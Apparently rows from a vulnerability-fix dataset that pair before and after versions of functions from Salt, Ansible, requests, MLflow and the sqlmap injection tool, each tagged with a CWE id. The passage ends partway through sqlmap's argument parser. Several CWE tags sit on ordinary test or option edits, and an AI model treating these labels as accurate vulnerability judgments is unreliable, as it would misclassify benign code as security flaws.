                    if 'launch_config' not in ret['changes']:
                        ret['changes']['launch_config'] = {}
                    ret['changes']['launch_config']['deleted'] = asg['launch_config_name']
            if updated:
                ret['changes']['old'] = asg
                asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                      profile)
                ret['changes']['new'] = asg
                ret['comment'] = 'Updated autoscale group.'
            else:
                ret['result'] = False
                ret['comment'] = msg
        else:
            ret['comment'] = 'Autoscale group present.'
    # add in alarms
    _ret = _alarms_present(
        name, min_size == max_size, alarms, alarms_from_pillar, region, key,
        keyid, profile
    )
    if _ret['changes'] != {}:
        ret['result'] = _ret['result']
        ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    return ret"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options] [<playbook.yml>]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
            desc=""pulls playbooks from a VCS repo and executes them for the local host"",
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
                               help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
                               help='sleep for random interval (between 0 and n number of seconds) before starting. '
                                    'This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
                               help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
                               help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
                               help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
                               help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
                               help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
                                    'This needs the corresponding VCS module to support such an operation')
        self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
                               help='modified files in the working repository will be discarded')
        self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
                               help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')
        self.parser.add_option(""--check"", default=False, dest='check', action='store_true',
                               help=""don't make any changes; instead, try to predict some of the changes that may occur"")

        # for pull we don't want a default
        self.parser.set_defaults(inventory=None)

        super(PullCLI, self).parse()

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0, int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,d3e48a51f5c0c20a55a226ebe4dc8976aadc9324,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options] [<playbook.yml>]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
            desc=""pulls playbooks from a VCS repo and executes them for the local host"",
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
                               help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
                               help='sleep for random interval (between 0 and n number of seconds) before starting. '
                                    'This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
                               help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None, help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None, help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true', help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
                               help='branch/tag/commit to checkout. Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
                               help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
                               help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
                               help='verify GPG signature of checked out commit, if it fails abort running the playbook. '
                                    'This needs the corresponding VCS module to support such an operation')
        self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
                               help='modified files in the working repository will be discarded')
        self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
                               help='submodules will track the latest changes. This is equivalent to specifying the --remote flag to git submodule update')

        # for pull we don't want a default
        self.parser.set_defaults(inventory=None)

        super(PullCLI, self).parse()

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0, int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsupported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_pkg.py,1,"def test_installed_with_single_normalize():
    """"""
    Test pkg.installed with preventing multiple package name normalisation
    """"""

    list_no_weird_installed = {
        ""pkga"": ""1.0.1"",
        ""pkgb"": ""1.0.2"",
        ""pkgc"": ""1.0.3"",
    }
    list_no_weird_installed_ver_list = {
        ""pkga"": [""1.0.1""],
        ""pkgb"": [""1.0.2""],
        ""pkgc"": [""1.0.3""],
    }
    list_with_weird_installed = {
        ""pkga"": ""1.0.1"",
        ""pkgb"": ""1.0.2"",
        ""pkgc"": ""1.0.3"",
        ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": ""20220214-2.1"",
    }
    list_with_weird_installed_ver_list = {
        ""pkga"": [""1.0.1""],
        ""pkgb"": [""1.0.2""],
        ""pkgc"": [""1.0.3""],
        ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": [""20220214-2.1""],
    }
    list_pkgs = MagicMock(
        side_effect=[
            # For the package with version specified
            list_no_weird_installed_ver_list,
            {},
            list_no_weird_installed,
            list_no_weird_installed_ver_list,
            list_with_weird_installed,
            list_with_weird_installed_ver_list,
            # For the package with no version specified
            list_no_weird_installed_ver_list,
            {},
            list_no_weird_installed,
            list_no_weird_installed_ver_list,
            list_with_weird_installed,
            list_with_weird_installed_ver_list,
        ]
    )

    salt_dict = {
        ""pkg.install"": yumpkg.install,
        ""pkg.list_pkgs"": list_pkgs,
        ""pkg.normalize_name"": yumpkg.normalize_name,
        ""pkg_resource.version_clean"": pkg_resource.version_clean,
        ""pkg_resource.parse_targets"": pkg_resource.parse_targets,
    }

    with patch(""salt.modules.yumpkg.list_pkgs"", list_pkgs), patch(
        ""salt.modules.yumpkg.version_cmp"", MagicMock(return_value=0)
    ), patch(
        ""salt.modules.yumpkg._call_yum"", MagicMock(return_value={""retcode"": 0})
    ) as call_yum_mock, patch.dict(
        pkg.__salt__, salt_dict
    ), patch.dict(
        pkg_resource.__salt__, salt_dict
    ), patch.dict(
        yumpkg.__salt__, salt_dict
    ), patch.dict(
        yumpkg.__grains__, {""os"": ""CentOS"", ""osarch"": ""x86_64"", ""osmajorrelease"": 7}
    ), patch.object(
        yumpkg, ""list_holds"", MagicMock()
    ):

        expected = {
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": {
                ""old"": """",
                ""new"": ""20220214-2.1"",
            }
        }
        ret = pkg.installed(
            ""test_install"",
            pkgs=[{""weird-name-1.2.3-1234.5.6.test7tst.x86_64.noarch"": ""20220214-2.1""}],
        )
        call_yum_mock.assert_called_once()
        assert (
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64-20220214-2.1""
            in call_yum_mock.mock_calls[0].args[0]
        )
        assert ret[""result""]
        assert ret[""changes""] == expected

        call_yum_mock.reset_mock()

        ret = pkg.installed(
            ""test_install"",
            pkgs=[""weird-name-1.2.3-1234.5.6.test7tst.x86_64.noarch""],
        )
        call_yum_mock.assert_called_once()
        assert (
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64""
            in call_yum_mock.mock_calls[0].args[0]
        )
        assert ret[""result""]
        assert ret[""changes""] == expected",CWE-703,saltstack/salt,d914ceaa687ed773ee2c2e07c91f1710406d47c4,"def test_installed_with_single_normalize():
    """"""
    Test pkg.installed with preventing multiple package name normalisation
    """"""

    list_no_weird_installed = {
        ""pkga"": ""1.0.1"",
        ""pkgb"": ""1.0.2"",
        ""pkgc"": ""1.0.3"",
    }
    list_no_weird_installed_ver_list = {
        ""pkga"": [""1.0.1""],
        ""pkgb"": [""1.0.2""],
        ""pkgc"": [""1.0.3""],
    }
    list_with_weird_installed = {
        ""pkga"": ""1.0.1"",
        ""pkgb"": ""1.0.2"",
        ""pkgc"": ""1.0.3"",
        ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": ""20220214-2.1"",
    }
    list_with_weird_installed_ver_list = {
        ""pkga"": [""1.0.1""],
        ""pkgb"": [""1.0.2""],
        ""pkgc"": [""1.0.3""],
        ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": [""20220214-2.1""],
    }
    list_pkgs = MagicMock(
        side_effect=[
            # For the package with version specified
            list_no_weird_installed_ver_list,
            {},
            list_no_weird_installed,
            list_no_weird_installed_ver_list,
            list_with_weird_installed,
            list_with_weird_installed,
            list_with_weird_installed_ver_list,
            # For the package with no version specified
            list_no_weird_installed_ver_list,
            {},
            list_no_weird_installed,
            list_no_weird_installed_ver_list,
            list_with_weird_installed,
            list_with_weird_installed,
            list_with_weird_installed_ver_list,
        ]
    )

    salt_dict = {
        ""pkg.install"": yumpkg.install,
        ""pkg.list_pkgs"": list_pkgs,
        ""pkg.normalize_name"": yumpkg.normalize_name,
        ""pkg_resource.version_clean"": pkg_resource.version_clean,
        ""pkg_resource.parse_targets"": pkg_resource.parse_targets,
    }

    with patch(""salt.modules.yumpkg.list_pkgs"", list_pkgs), patch(
        ""salt.modules.yumpkg.version_cmp"", MagicMock(return_value=0)
    ), patch(
        ""salt.modules.yumpkg._call_yum"", MagicMock(return_value={""retcode"": 0})
    ) as call_yum_mock, patch.dict(
        pkg.__salt__, salt_dict
    ), patch.dict(
        pkg_resource.__salt__, salt_dict
    ), patch.dict(
        yumpkg.__salt__, salt_dict
    ), patch.dict(
        yumpkg.__grains__, {""os"": ""CentOS"", ""osarch"": ""x86_64"", ""osmajorrelease"": 7}
    ):

        expected = {
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64"": {
                ""old"": """",
                ""new"": ""20220214-2.1"",
            }
        }
        ret = pkg.installed(
            ""test_install"",
            pkgs=[{""weird-name-1.2.3-1234.5.6.test7tst.x86_64.noarch"": ""20220214-2.1""}],
        )
        call_yum_mock.assert_called_once()
        assert (
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64-20220214-2.1""
            in call_yum_mock.mock_calls[0].args[0]
        )
        assert ret[""result""]
        assert ret[""changes""] == expected

        call_yum_mock.reset_mock()

        ret = pkg.installed(
            ""test_install"",
            pkgs=[""weird-name-1.2.3-1234.5.6.test7tst.x86_64.noarch""],
        )
        call_yum_mock.assert_called_once()
        assert (
            ""weird-name-1.2.3-1234.5.6.test7tst.x86_64""
            in call_yum_mock.mock_calls[0].args[0]
        )
        assert ret[""result""]
        assert ret[""changes""] == expected"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_response_lines(self):
        """"""
        iter_lines should be able to handle data dribbling in which delimiters
        might not be lined up ideally.
        """"""
        mock_chunks = [
            b'This \r\n',
            b'',
            b'is\r',
            b'\n',
            b'a',
            b' ',
            b'',
            b'',
            b'test.',
            b'\r',
            b'\n',
            b'end.',
        ]
        mock_data = b''.join(mock_chunks)
        unicode_mock_data = mock_data.decode('utf-8')

        def mock_iter_content(*args, **kwargs):
            if kwargs.get(""decode_unicode""):
                return (e.decode('utf-8') for e in mock_chunks)
            return (e for e in mock_chunks)

        r = requests.Response()
        r._content_consumed = True
        r.iter_content = mock_iter_content

        # decode_unicode=None, output raw bytes
        assert list(r.iter_lines(delimiter=b'\r\n')) == mock_data.split(b'\r\n')

        # decode_unicode=True, output unicode strings
        assert list(r.iter_lines(decode_unicode=True, delimiter=u'\r\n')) == unicode_mock_data.split(u'\r\n')

        # When delimiter is None, we should yield the same result as splitlines()
        # which supports the universal newline.
        # '\r', '\n', and '\r\n' are all treated as one line break.

        # decode_unicode=None, output raw bytes
        result = list(r.iter_lines())
        assert result == mock_data.splitlines()

        # decode_unicode=True, output unicode strings
        result = list(r.iter_lines(decode_unicode=True))
        assert result == unicode_mock_data.splitlines()

        # If we change all the line breaks to `\r`, we should be okay.
        # decode_unicode=None, output raw bytes
        mock_chunks = [chunk.replace(b'\n', b'\r') for chunk in mock_chunks]
        mock_data = b''.join(mock_chunks)
        assert list(r.iter_lines()) == mock_data.splitlines()

        # decode_unicode=True, output unicode strings
        unicode_mock_data = mock_data.decode('utf-8')
        assert list(r.iter_lines(decode_unicode=True)) == unicode_mock_data.splitlines()",CWE-703,psf/requests,084625cb3cd6bed4feeb0e65c880dc02c2fb3aa1,"def test_response_lines(self):
        """"""
        iter_lines should be able to handle data dribbling in which delimiters
        might not be lined up ideally.
        """"""
        mock_chunks = [
            'This \r\n',
            '',
            'is\r',
            '\n',
            'a',
            ' ',
            '',
            '',
            'test.',
            '\r',
            '\n',
            'end.',
        ]
        mock_data = ''.join(mock_chunks)

        mock_iter_content = lambda *args, **kwargs: (e for e in mock_chunks)

        r = requests.Response()
        r._content_consumed = True
        r.iter_content = mock_iter_content

        assert list(r.iter_lines(delimiter='\r\n')) == mock_data.split('\r\n')

        # Because '\n' is a single line-end, when `iter_lines()` receives
        # the chunks containing a single '\n', it emits '' as a line -- whereas
        # `.splitlines()` combines with the '\r' and splits on `\r\n`.
        result = list(r.iter_lines())
        assert result != mock_data.splitlines()
        assert result[2] == ''
        assert result[4] == ''
        # If we change all the line breaks to `\r`, we should be okay.
        mock_chunks = [chunk.replace('\n', '\r') for chunk in mock_chunks]
        mock_data = ''.join(mock_chunks)
        assert list(r.iter_lines()) == mock_data.splitlines()"
,UNKNOWN,UNKNOWN,mlflow/onnx.py,1,"def __init__(self, path, providers=None):
        import onnxruntime

        # Get the model meta data from the MLModel yaml file which may contain the providers
        # specification.
        local_path = str(Path(path).parent)
        model_meta = Model.load(os.path.join(local_path, MLMODEL_FILE_NAME))

        # Check if the MLModel config has the providers meta data
        if ""providers"" in model_meta.flavors.get(FLAVOR_NAME).keys():
            providers = model_meta.flavors.get(FLAVOR_NAME)[""providers""]
        # If not, then default to the predefined list.
        else:
            providers = ONNX_EXECUTION_PROVIDERS

        sess_options = onnxruntime.SessionOptions()
        options = model_meta.flavors.get(FLAVOR_NAME).get(""onnx_session_options"")
        if options:
            if inter_op_num_threads := options.get(""inter_op_num_threads""):
                sess_options.inter_op_num_threads = inter_op_num_threads
            if intra_op_num_threads := options.get(""intra_op_num_threads""):
                sess_options.intra_op_num_threads = intra_op_num_threads
            if execution_mode := options.get(""execution_mode""):
                if execution_mode.upper() == ""SEQUENTIAL"":
                    sess_options.execution_mode = onnxruntime.ExecutionMode.ORT_SEQUENTIAL
                elif execution_mode.upper() == ""PARALLEL"":
                    sess_options.execution_mode = onnxruntime.ExecutionMode.ORT_PARALLEL
            if graph_optimization_level := options.get(""graph_optimization_level""):
                sess_options.graph_optimization_level = onnxruntime.GraphOptimizationLevel(
                    graph_optimization_level
                )
            if extra_session_config := options.get(""extra_session_config""):
                for key, value in extra_session_config.items():
                    sess_options.add_session_config_entry(key, value)

        # NOTE: Some distributions of onnxruntime require the specification of the providers
        # argument on calling. E.g. onnxruntime-gpu. The package import call does not differentiate
        #  which architecture specific version has been installed, as all are imported with
        # onnxruntime. onnxruntime documentation says that from v1.9.0 some distributions require
        #  the providers list to be provided on calling an InferenceSession. Therefore the try
        #  catch structure below attempts to create an inference session with just the model path
        #  as pre v1.9.0. If that fails, it will use the providers list call.
        # At the moment this is just CUDA and CPU, and probably should be expanded.
        # A method of user customization has been provided by adding a variable in the save_model()
        # function, which allows the ability to pass the list of execution providers via a
        # optional argument e.g.
        #
        # mlflow.onnx.save_model(..., providers=['CUDAExecutionProvider'...])
        #
        # For details of the execution providers construct of onnxruntime, see:
        # https://onnxruntime.ai/docs/execution-providers/
        #
        # For a information on how execution providers are used with onnxruntime InferenceSession,
        # see the API page below:
        # https://onnxruntime.ai/docs/api/python/api_summary.html#id8
        #

        try:
            self.rt = onnxruntime.InferenceSession(path, sess_options=sess_options)
        except ValueError:
            self.rt = onnxruntime.InferenceSession(
                path, providers=providers, sess_options=sess_options
            )

        assert len(self.rt.get_inputs()) >= 1
        self.inputs = [(inp.name, inp.type) for inp in self.rt.get_inputs()]
        self.output_names = [outp.name for outp in self.rt.get_outputs()]",CWE-703,mlflow/mlflow,024e0371915d503fd2c25f4b1078f854d3e186d3,"def __init__(self, path, providers=None):
        import onnxruntime

        # Get the model meta data from the MLModel yaml file which may contain the providers
        # specification.
        local_path = str(Path(path).parent)
        model_meta = Model.load(os.path.join(local_path, MLMODEL_FILE_NAME))

        # Check if the MLModel config has the providers meta data
        if ""providers"" in model_meta.flavors.get(FLAVOR_NAME).keys():
            providers = model_meta.flavors.get(FLAVOR_NAME)[""providers""]
        # If not, then default to the predefined list.
        else:
            providers = ONNX_EXECUTION_PROVIDERS

        sess_options = onnxruntime.SessionOptions()
        options = model_meta.flavors.get(FLAVOR_NAME)[""onnx_session_options""]
        if options:
            if inter_op_num_threads := options.get(""inter_op_num_threads""):
                sess_options.inter_op_num_threads = inter_op_num_threads
            if intra_op_num_threads := options.get(""intra_op_num_threads""):
                sess_options.intra_op_num_threads = intra_op_num_threads
            if execution_mode := options.get(""execution_mode""):
                if execution_mode.upper() == ""SEQUENTIAL"":
                    sess_options.execution_mode = onnxruntime.ExecutionMode.ORT_SEQUENTIAL
                elif execution_mode.upper() == ""PARALLEL"":
                    sess_options.execution_mode = onnxruntime.ExecutionMode.ORT_PARALLEL
            if graph_optimization_level := options.get(""graph_optimization_level""):
                sess_options.graph_optimization_level = onnxruntime.GraphOptimizationLevel(
                    graph_optimization_level
                )
            if extra_session_config := options.get(""extra_session_config""):
                for key, value in extra_session_config.items():
                    sess_options.add_session_config_entry(key, value)

        # NOTE: Some distributions of onnxruntime require the specification of the providers
        # argument on calling. E.g. onnxruntime-gpu. The package import call does not differentiate
        #  which architecture specific version has been installed, as all are imported with
        # onnxruntime. onnxruntime documentation says that from v1.9.0 some distributions require
        #  the providers list to be provided on calling an InferenceSession. Therefore the try
        #  catch structure below attempts to create an inference session with just the model path
        #  as pre v1.9.0. If that fails, it will use the providers list call.
        # At the moment this is just CUDA and CPU, and probably should be expanded.
        # A method of user customization has been provided by adding a variable in the save_model()
        # function, which allows the ability to pass the list of execution providers via a
        # optional argument e.g.
        #
        # mlflow.onnx.save_model(..., providers=['CUDAExecutionProvider'...])
        #
        # For details of the execution providers construct of onnxruntime, see:
        # https://onnxruntime.ai/docs/execution-providers/
        #
        # For a information on how execution providers are used with onnxruntime InferenceSession,
        # see the API page below:
        # https://onnxruntime.ai/docs/api/python/api_summary.html#id8
        #

        try:
            self.rt = onnxruntime.InferenceSession(path, sess_options=sess_options)
        except ValueError:
            self.rt = onnxruntime.InferenceSession(
                path, providers=providers, sess_options=sess_options
            )

        assert len(self.rt.get_inputs()) >= 1
        self.inputs = [(inp.name, inp.type) for inp in self.rt.get_inputs()]
        self.output_names = [outp.name for outp in self.rt.get_outputs()]"
,UNKNOWN,UNKNOWN,tests/pytests/functional/cli/test_batch.py,1,"def test_batch_issue_56273():
    """"""
    Regression test for race condition in batch logic.
    https://github.com/saltstack/salt/issues/56273
    """"""

    mock_pub = MockPub()
    MockSubscriber.pubret = mock_pub

    def returns_for_job(jid):
        return True

    opts = {
        ""conf_file"": """",
        ""tgt"": ""minion*"",
        ""fun"": ""state.sls"",
        ""arg"": [""foo""],
        ""timeout"": 1,
        ""gather_job_timeout"": 1,
        ""batch"": 2,
        ""extension_modules"": """",
        ""failhard"": True,
    }
    with patch(""salt.transport.tcp.PublishClient"", MockSubscriber):
        batch = salt.cli.batch.Batch(opts, quiet=True)
        with patch.object(batch.local, ""pub"", Mock(side_effect=mock_pub)):
            with patch.object(
                batch.local, ""returns_for_job"", Mock(side_effect=returns_for_job)
            ):
                ret = list(batch.run())
    assert len(ret) == 4
    for val, _ in ret:
        values = list(val.values())
        assert len(values) == 1
        assert values[0] is True",CWE-703,saltstack/salt,3347d543f5e1cbbd510692ce3af5c84233e0f63f,"def test_batch_issue_56273():
    """"""
    Regression test for race condition in batch logic.
    https://github.com/saltstack/salt/issues/56273
    """"""

    mock_pub = MockPub()
    MockSubscriber.pubret = mock_pub

    def returns_for_job(jid):
        return True

    opts = {
        ""conf_file"": """",
        ""tgt"": ""minion*"",
        ""fun"": ""state.sls"",
        ""arg"": [""foo""],
        ""timeout"": 1,
        ""gather_job_timeout"": 1,
        ""batch"": 2,
        ""extension_modules"": """",
        ""failhard"": True,
    }
    with patch(""salt.transport.tcp.TCPPubClient"", MockSubscriber):
        batch = salt.cli.batch.Batch(opts, quiet=True)
        with patch.object(batch.local, ""pub"", Mock(side_effect=mock_pub)):
            with patch.object(
                batch.local, ""returns_for_job"", Mock(side_effect=returns_for_job)
            ):
                ret = list(batch.run())
    assert len(ret) == 4
    for val, _ in ret:
        values = list(val.values())
        assert len(values) == 1
        assert values[0] is True"
,UNKNOWN,UNKNOWN,lib/parse/cmdline.py,1,"def cmdLineParser(argv=None):
    """"""
    This function parses the command line parameters and arguments
    """"""

    if not argv:
        argv = sys.argv

    checkSystemEncoding()

    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = ""%s%s [options]"" % (""%s "" % os.path.basename(sys.executable) if not IS_WIN else """", ""\""%s\"""" % _ if "" "" in _ else _)
    parser = ArgumentParser(usage=usage)

    try:
        parser.add_argument(""--hh"", dest=""advancedHelp"", action=""store_true"",
            help=""Show advanced help message and exit"")

        parser.add_argument(""--version"", dest=""showVersion"", action=""store_true"",
            help=""Show program's version number and exit"")

        parser.add_argument(""-v"", dest=""verbose"", type=int,
            help=""Verbosity level: 0-6 (default %d)"" % defaults.verbose)

        # Target options
        target = parser.add_argument_group(""Target"", ""At least one of these options has to be provided to define the target(s)"")

        target.add_argument(""-u"", ""--url"", dest=""url"",
            help=""Target URL (e.g. \""http://www.site.com/vuln.php?id=1\"")"")

        target.add_argument(""-d"", dest=""direct"",
            help=""Connection string for direct database connection"")

        target.add_argument(""-l"", dest=""logFile"",
            help=""Parse target(s) from Burp or WebScarab proxy log file"")

        target.add_argument(""-m"", dest=""bulkFile"",
            help=""Scan multiple targets given in a textual file "")

        target.add_argument(""-r"", dest=""requestFile"",
            help=""Load HTTP request from a file"")

        target.add_argument(""-g"", dest=""googleDork"",
            help=""Process Google dork results as target URLs"")

        target.add_argument(""-c"", dest=""configFile"",
            help=""Load options from a configuration INI file"")

        # Request options
        request = parser.add_argument_group(""Request"", ""These options can be used to specify how to connect to the target URL"")

        request.add_argument(""-A"", ""--user-agent"", dest=""agent"",
            help=""HTTP User-Agent header value"")

        request.add_argument(""-H"", ""--header"", dest=""header"",
            help=""Extra header (e.g. \""X-Forwarded-For: 127.0.0.1\"")"")

        request.add_argument(""--method"", dest=""method"",
            help=""Force usage of given HTTP method (e.g. PUT)"")

        request.add_argument(""--data"", dest=""data"",
            help=""Data string to be sent through POST (e.g. \""id=1\"")"")

        request.add_argument(""--param-del"", dest=""paramDel"",
            help=""Character used for splitting parameter values (e.g. &)"")

        request.add_argument(""--cookie"", dest=""cookie"",
            help=""HTTP Cookie header value (e.g. \""PHPSESSID=a8d127e..\"")"")

        request.add_argument(""--cookie-del"", dest=""cookieDel"",
            help=""Character used for splitting cookie values (e.g. ;)"")

        request.add_argument(""--live-cookies"", dest=""liveCookies"",
            help=""Live cookies file used for loading up-to-date values"")

        request.add_argument(""--load-cookies"", dest=""loadCookies"",
            help=""File containing cookies in Netscape/wget format"")

        request.add_argument(""--drop-set-cookie"", dest=""dropSetCookie"", action=""store_true"",
            help=""Ignore Set-Cookie header from response"")

        request.add_argument(""--mobile"", dest=""mobile"", action=""store_true"",
            help=""Imitate smartphone through HTTP User-Agent header"")

        request.add_argument(""--random-agent"", dest=""randomAgent"", action=""store_true"",
            help=""Use randomly selected HTTP User-Agent header value"")

        request.add_argument(""--host"", dest=""host"",
            help=""HTTP Host header value"")

        request.add_argument(""--referer"", dest=""referer"",
            help=""HTTP Referer header value"")

        request.add_argument(""--headers"", dest=""headers"",
            help=""Extra headers (e.g. \""Accept-Language: fr\\nETag: 123\"")"")

        request.add_argument(""--auth-type"", dest=""authType"",
            help=""HTTP authentication type (Basic, Digest, Bearer, ...)"")

        request.add_argument(""--auth-cred"", dest=""authCred"",
            help=""HTTP authentication credentials (name:password)"")

        request.add_argument(""--auth-file"", dest=""authFile"",
            help=""HTTP authentication PEM cert/private key file"")

        request.add_argument(""--ignore-code"", dest=""ignoreCode"",
            help=""Ignore (problematic) HTTP error code (e.g. 401)"")

        request.add_argument(""--ignore-proxy"", dest=""ignoreProxy"", action=""store_true"",
            help=""Ignore system default proxy settings"")

        request.add_argument(""--ignore-redirects"", dest=""ignoreRedirects"", action=""store_true"",
            help=""Ignore redirection attempts"")

        request.add_argument(""--ignore-timeouts"", dest=""ignoreTimeouts"", action=""store_true"",
            help=""Ignore connection timeouts"")

        request.add_argument(""--proxy"", dest=""proxy"",
            help=""Use a proxy to connect to the target URL"")

        request.add_argument(""--proxy-cred"", dest=""proxyCred"",
            help=""Proxy authentication credentials (name:password)"")

        request.add_argument(""--proxy-file"", dest=""proxyFile"",
            help=""Load proxy list from a file"")

        request.add_argument(""--proxy-freq"", dest=""proxyFreq"", type=int,
            help=""Requests between change of proxy from a given list"")

        request.add_argument(""--tor"", dest=""tor"", action=""store_true"",
            help=""Use Tor anonymity network"")

        request.add_argument(""--tor-port"", dest=""torPort"",
            help=""Set Tor proxy port other than default"")

        request.add_argument(""--tor-type"", dest=""torType"",
            help=""Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))"")

        request.add_argument(""--check-tor"", dest=""checkTor"", action=""store_true"",
            help=""Check to see if Tor is used properly"")

        request.add_argument(""--delay"", dest=""delay"", type=float,
            help=""Delay in seconds between each HTTP request"")

        request.add_argument(""--timeout"", dest=""timeout"", type=float,
            help=""Seconds to wait before timeout connection (default %d)"" % defaults.timeout)

        request.add_argument(""--retries"", dest=""retries"", type=int,
            help=""Retries when the connection timeouts (default %d)"" % defaults.retries)

        request.add_argument(""--randomize"", dest=""rParam"",
            help=""Randomly change value for given parameter(s)"")

        request.add_argument(""--safe-url"", dest=""safeUrl"",
            help=""URL address to visit frequently during testing"")

        request.add_argument(""--safe-post"", dest=""safePost"",
            help=""POST data to send to a safe URL"")

        request.add_argument(""--safe-req"", dest=""safeReqFile"",
            help=""Load safe HTTP request from a file"")

        request.add_argument(""--safe-freq"", dest=""safeFreq"", type=int,
            help=""Regular requests between visits to a safe URL"")

        request.add_argument(""--skip-urlencode"", dest=""skipUrlEncode"", action=""store_true"",
            help=""Skip URL encoding of payload data"")

        request.add_argument(""--csrf-token"", dest=""csrfToken"",
            help=""Parameter used to hold anti-CSRF token"")

        request.add_argument(""--csrf-url"", dest=""csrfUrl"",
            help=""URL address to visit for extraction of anti-CSRF token"")

        request.add_argument(""--csrf-method"", dest=""csrfMethod"",
            help=""HTTP method to use during anti-CSRF token page visit"")

        request.add_argument(""--csrf-retries"", dest=""csrfRetries"", type=int,
            help=""Retries for anti-CSRF token retrieval (default %d)"" % defaults.csrfRetries)

        request.add_argument(""--force-ssl"", dest=""forceSSL"", action=""store_true"",
            help=""Force usage of SSL/HTTPS"")

        request.add_argument(""--chunked"", dest=""chunked"", action=""store_true"",
            help=""Use HTTP chunked transfer encoded (POST) requests"")

        request.add_argument(""--hpp"", dest=""hpp"", action=""store_true"",
            help=""Use HTTP parameter pollution method"")

